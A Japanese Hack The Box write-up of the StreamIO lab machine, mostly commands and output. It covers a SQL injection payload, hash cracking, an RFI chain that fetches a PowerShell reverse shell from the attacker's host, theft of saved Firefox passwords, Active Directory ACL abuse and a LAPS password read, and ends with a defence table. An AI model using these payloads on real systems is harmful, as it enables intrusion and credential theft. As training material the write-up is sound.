Hack The BoxのWriteup(StreamIO)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: StreamIO — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC (15ポート)
MSSQL UNION SQLi
watch.streamio.htb/search.php
hashcat クラック
yoshihide:66boysandgirls..
admin パネル debug=master.php
RFI-to-RCE (PowerShellリバースシェル)
ローカル sqlcmd
streamio_backup DB → nikk37 別ハッシュ
nikk37 WinRM
user.txt ✓
Firefox保存PW窃取
firepwd → JDgodd (admin名義で保存)
bloodyAD ACL昇格
Core Staff owner奪取 → LAPS読取権
Administrator WinRM
root.txt (Martin) ✓

全ポートスキャン

BASH
nmap -p- --min-rate 10000 10.129.67.42
nmap -p 53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389 -sCV 10.129.67.42
RESULT
53/tcp   open  domain
80/tcp   open  http    Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap    (Domain: streamIO.htb)
443/tcp  open  ssl/http
| ssl-cert: Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  ncacn_http
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman
9389/tcp open  adws
ℹ️
典型的な Active Directory ドメインコントローラのポート構成。 TLS証明書のSANから streamIO.htbwatch.streamIO.htb の2つの ホスト名を確認し /etc/hosts に登録する。crackmapexec smb で ホスト名 DC.streamIO.htb も判明。IPへの直接アクセスは404を返すため、 必ずホスト名でアクセスする必要がある。
PHASE 2

watch.streamio.htb MSSQL UNION SQLi でユーザーダンプ

search.php の SQLi を発見

NOTE
watch.streamio.htb/search.php は映画検索フォーム (POST /search.php, body: q=<文字列>)。
"man';-- -" のようなペイロードで挙動が変化することからSQLiと判明。
UNION SELECT のカラム数を "abcd' union select 1,2,3,4,5,6;-- -" で6と確定し、
@@version でMSSQLと確認。"0x"や"**"等の一部キーワードはWAFでblocked.phpへ
302リダイレクトされるが、シングルクォートベースのペイロード自体はブロックされない。

STREAMIO..users を UNION SELECT で全ダンプ

BASH
curl -sk https://watch.streamio.htb/search.php \
  --data-urlencode "q=abcd' union select 1,username+char(58)+password,3,4,5,6 from users;-- -"
RESULT (HTML抜粋)
<h5>admin                                             :665a50ac9eaa781e4f7f04199db97a11                  </h5>
<h5>Alexendra                                         :1c2b3d8270321140e5153f6637d3ee53                  </h5>
... (計30件)
⚠️
users.username は固定長 (n)char 型のため、レスポンスHTML上では コロンの前後に大量のパディング空白が入る。username:hash をそのまま 正規表現で抽出しようとすると空白のせいでマッチしないので、抽出用正規表現には \s* を挟むこと。

hashcat でクラック

BASH
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt --show
RESULT
admin:665a50ac9eaa781e4f7f04199db97a11:paddpadd
yoshihide:b779ba15cedfd22a023c4d8bcf5f2332:66boysandgirls..
Barry:...:$hadoW
... (計12件クラック)
PHASE 3

admin パネル debug=master.php RFI-to-RCE

yoshihide でログイン & 隠しパラメータ発見

BASH
curl -sk https://streamio.htb/login.php -c cookies.txt \
  --data-urlencode "username=yoshihide" --data-urlencode "password=66boysandgirls.."
# → /admin パネルにアクセス可能に

wfuzz -u "https://streamio.htb/admin/?FUZZ=" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -b "PHPSESSID=..." --hh 1678
RESULT
200  49 L  137 W  1712 Ch  "debug"   ← user/staff/movie 以外の隠しパラメータ

php://filter で master.php のソースを取得

BASH
curl -sk "https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php" \
  -b cookies.txt | base64 -d
RESULT (末尾抜粋)
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php")
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>
🚨
脆弱性発見。 /admin/?debug=master.php で master.php を include させた 状態で POST include=<任意URL/パス> を送ると、その内容が file_get_contents で取得され eval() にそのまま渡る (Remote File Inclusion → コード実行)。

PowerShell リバースシェルの shell.php を配信し RCE

NOTE
master.php は eval(file_get_contents(...)) に渡すだけなので、include先の
shell.php は生のPHP文のみ (<?php タグ不要)。nc64.exe をダウンロードして
-e 実行する方式は Windows Defender に検知され接続が瞬時に切断される
リスクがあるため、外部バイナリをディスクに書かない PowerShell TCPClient
リバースシェル (system('powershell.exe -nop -w hidden -enc <base64>') の
1行) を使う。
BASH (Kali側でshell.php配信 + リスナー)
python3 -m http.server 8091 --directory ./tools   # shell.php を配置
nc -lnvp 14444
BASH (RFIトリガー)
curl -sk https://streamio.htb/admin/?debug=master.php -b cookies.txt \
  --data-urlencode "include=http://10.10.15.200:8091/shell.php"
RESULT (nc リスナー側)
listening on [any] 14444 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.67.42] ...
PS C:\inetpub\streamio.htb\admin> whoami
streamio\yoshihide
RCE成功! streamio\yoshihide としてシェルを確立。
PHASE 4

ローカル sqlcmd で streamio_backup DB → user.txt

Webソースから高権限DB資格情報を発見

BASH (yoshihideシェル内)
PS> dir -recurse *.php C:\inetpub\streamio.htb | select-string -pattern "database"
RESULT
admin\index.php:9: $connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
login.php:46: $connection = array(..., "UID" => "db_user", "PWD" => 'B1@hB1@hB1@h');
ℹ️
db_admin はメインDBからは見えなかった streamio_backup データベースへのアクセス権を持つ (Web越しのSQLiではこの権限差により streamio_backup のテーブル一覧が空扱いだった)。

ローカル sqlcmd で streamio_backup から nikk37 の別ハッシュを取得

BASH (yoshihideシェル内)
PS> sqlcmd -S localhost -U db_admin -P "B1@hx31234567890" -d streamio_backup -Q "select * from users;"
RESULT
id  username    password
--- ----------- --------------------------------
1   nikk37      389d14cb8e4e9b94b137deb1caf0612a
2   yoshihide   b779ba15cedfd22a023c4d8bcf5f2332
...
BASH (hashcatでクラック)
hashcat -m 0 backup_hashes.txt /usr/share/wordlists/rockyou.txt --show
RESULT
nikk37:389d14cb8e4e9b94b137deb1caf0612a:get_dem_girls2@yahoo.com

nikk37 で WinRM ログイン & user.txt 取得

BASH
evil-winrm -i 10.129.67.42 -u nikk37 -p 'get_dem_girls2@yahoo.com'
*Evil-WinRM* PS C:\Users\nikk37\desktop> type user.txt
RESULT
d6e23ec3f309d9c5fbc6e9281fee94fd
user.txt — nikk37
d6e23ec3f309d9c5fbc6e9281fee94fd
ℹ️
nikk37 は「Remote Management Users」グループに所属しているため WinRM (port 5985) が許可されている。
PHASE 5

Firefox保存パスワード窃取 & Core Staff グループ ACL 昇格

nikk37 の Firefox プロファイルを発見

BASH (nikk37 WinRM内)
*Evil-WinRM* PS> ls C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles
RESULT
br53rxeg.default-release   ← 標準的なFirefoxプロファイル一式

key4.db / logins.json を base64 で回収

BASH
*Evil-WinRM* PS> [Convert]::ToBase64String([IO.File]::ReadAllBytes(
    (Get-ChildItem "C:/Users/nikk37/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-release" `
     -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName) + "/key4.db"))
⚠️
ハマりどころ: evil-winrm の非対話モードは二重引用符文字列内の バックスラッシュ区切りパスを渡すと構文エラーになる (フォワードスラッシュなら通る)。 また key4.db (~230KB) を base64 化すると ~300KB のテキストになり、既定の30秒 タイムアウトでは取得が打ち切られることがあるため長めに待つ必要がある。 さらに evil-winrm 出力に混入する ANSI エスケープシーケンス (\x1b[?25l\x1b[1G...) を除去してから base64 文字列を抽出しないと Incorrect padding でデコードに失敗する。
BASH (Kaliでデコード)
python3 -c "
import base64
open('key4.db','wb').write(base64.b64decode(b64_key4))
open('logins.json','wb').write(base64.b64decode(b64_logins))
"

firepwd で復号 & 【重要】正しいパスワードの取り違えに注意

BASH
git clone https://github.com/lclevy/firepwd.git
python3 firepwd/firepwd.py -d .
🚨
ハマりどころ (最重要): Slackに保存された4件のログインのうち、 AD ドメインパスワードとして実際に機能するのは “JDgodd” 自身の エントリ (password@12) ではなく、”admin” という名前で保存された エントリ (JDg0dd1s@d0p3cr3@t0r) の方。JDgodd はこの Slack “admin” アカウントのパスワードとADドメインパスワードを使い回していた。ここを取り違えると 後続の LDAP/SMB 認証が invalidCredentials で全滅する。
BASH (確認)
netexec smb 10.129.67.42 -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r'
RESULT
[+] streamIO.htb\JDgodd:JDg0dd1s@d0p3cr3@t0r

BloodHound で JDgodd の ACL 権限を分析

BASH
bloodhound-python -c All -u jdgodd -p 'JDg0dd1s@d0p3cr3@t0r' \
  -ns 10.129.67.42 -d streamio.htb -dc streamio.htb --zip
ℹ️
BloodHoundにインポートすると、JDgodd は “Core Staff” グループに対し Owns + WriteOwner を持ち、Core Staff グループは DC コンピュータ オブジェクトに対し ReadLAPSPassword を持つことが判明する。

bloodyAD で Core Staff の owner/ACL を奪取し自身を追加

BASH
bloodyAD --host 10.129.67.42 -d streamio.htb -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' \
  set owner "Core Staff" JDgodd
bloodyAD --host 10.129.67.42 -d streamio.htb -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' \
  add genericAll "Core Staff" JDgodd
bloodyAD --host 10.129.67.42 -d streamio.htb -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' \
  add groupMember "Core Staff" JDgodd
RESULT
[+] JDgodd added to Core Staff
ACL昇格成功。 (1) WriteOwner権限を使い自分自身をグループの所有者に変更 → (2) 所有者としてGenericAll(フルコントロール)を自分に付与 → (3) その権限でグループメンバーに自分を追加、という3段階のACL権限昇格チェーン。 JDgodd は今や Core Staff メンバーとして DC の LAPS パスワードを読み取れる。
PHASE 6

LAPS パスワード読取 → Administrator → root.txt

netexec / ldapsearch で LAPS パスワードを取得

BASH
netexec ldap 10.129.67.42 -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' -d streamio.htb -M laps

# 代替手段 (ldapsearch)
ldapsearch -h 10.129.67.42 -b "DC=streamio,DC=htb" -x \
  -D "JDgodd@streamio.htb" -w 'JDg0dd1s@d0p3cr3@t0r' \
  "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
RESULT
dn: CN=DC,OU=Domain Controllers,DC=streamIO,DC=htb
ms-Mcs-AdmPwd: (DCのローカルAdministratorパスワード)

Administrator で WinRM ログイン

BASH
evil-winrm -i 10.129.67.42 -u administrator -p '<LAPSパスワード>'
RESULT
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
streamio\administrator

root.txt は Administrator でなく Martin のデスクトップ

BASH
*Evil-WinRM* PS> ls C:\Users
*Evil-WinRM* PS> type C:\Users\Martin\Desktop\root.txt
RESULT
bdfb8db7360f85d027d905b0547db2f6
root.txt — Martin (ローカル管理者、LAPS Administrator経由)
bdfb8db7360f85d027d905b0547db2f6
ℹ️
LAPS で管理されるローカル Administrator パスワードは HTB インスタンスごとにランダムに ローテーションされるため、root フラグは (ローテーションでも変わらない) 別のローカル管理者 Martin のデスクトップに配置されている。C:\Users の一覧を確認すれば Administrator 以外の管理者ユーザーの存在に気付ける。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — nikk37
d6e23ec3f309d9c5fbc6e9281fee94fd
root.txt — Martin (LAPS Administrator経由)
bdfb8db7360f85d027d905b0547db2f6

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
MSSQL UNION SQLi watch.streamio.htb/search.php 全ユーザーのパスワードハッシュ漏洩 Critical 検索クエリのシングルクォート未サニタイズによるUNION SELECT注入、STREAMIO..usersを全ダンプ
RFI-to-RCE (eval+file_get_contents) streamio.htb/admin/master.php 任意コード実行 (as yoshihide) Critical 隠しdebugパラメータでmaster.phpをinclude、そのincludeフォームパラメータがeval(file_get_contents())に渡る設計不備
Web資格情報の使い回し・権限差DB ローカルsqlcmd + streamio_backup DB 横展開 (nikk37) High Webソースにハードコードされたdb_admin資格情報を使い、Web越しには見えないバックアップDBを直接クエリ
Firefox保存パスワード + ACL誤設定 nikk37プロファイル + Core Staffグループ ドメイン権限昇格経路の獲得 High firepwdでSlack保存パスワードを復号しJDgoddの資格情報を取得、WriteOwner権限を悪用したACL昇格チェーンでLAPS読取権を獲得
LAPS DCコンピュータオブジェクトのms-Mcs-AdmPwd属性 ドメイン管理者権限相当のローカル管理者取得 Medium ReadLAPSPassword権限を得たグループのメンバーとしてLAPSローテーションパスワードを読み取りAdministrator権限を取得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmapAD DC構成、streamio.htb/watch.streamio.htb発見
2SQLiMSSQL UNION SELECT + hashcatyoshihide:66boysandgirls..
3RCEadmin debug=master.php RFIstreamio\yoshihide シェル
4横展開ローカルsqlcmd + hashcatuser.txt (nikk37)
5ACL昇格firepwd + bloodyAD (owner/ACL)Core StaffメンバーとしてLAPS読取権
6権限昇格LAPS読取root.txt (Martin, Administrator経由)

学んだ教訓 & 防御策

問題点防御策
検索フォームがユーザー入力を未サニタイズのままSQL文へ連結 (UNION SQLi) プリペアドステートメント/パラメータ化クエリを徹底する。WAFは補助的対策に留め根本修正しない。
管理者向けincludeパラメータがユーザー制御可能なURL/パスをeval(file_get_contents())へ直接渡している 動的include/evalの使用自体を避け、どうしても必要なら許可リスト化されたファイル名のみ受け付ける。
Webアプリのソースコードに高権限DB資格情報が平文でハードコードされている 資格情報は環境変数やシークレット管理サービスから取得し、ソースコード/リポジトリに含めない。
Slackなどの社内ツール用パスワードとADドメインパスワードを使い回している パスワードの使い回しを禁止し、多要素認証・パスワードマネージャーの利用を徹底する。Firefox等ブラウザのパスワード保存機能を業務PCで無効化・GPO制限する。
一般ユーザーがグループオブジェクトに対しOwns/WriteOwnerを持ち、そこからACL昇格チェーンでLAPS読取権に到達できる 定期的にBloodHound等でAD ACLの危険な経路を棚卸しし、最小権限の原則を徹底する。特に機密性の高いグループ(LAPS読取権を持つグループ等)のACLは厳格に管理する。
HackTheBox: StreamIO | 完全攻略レポート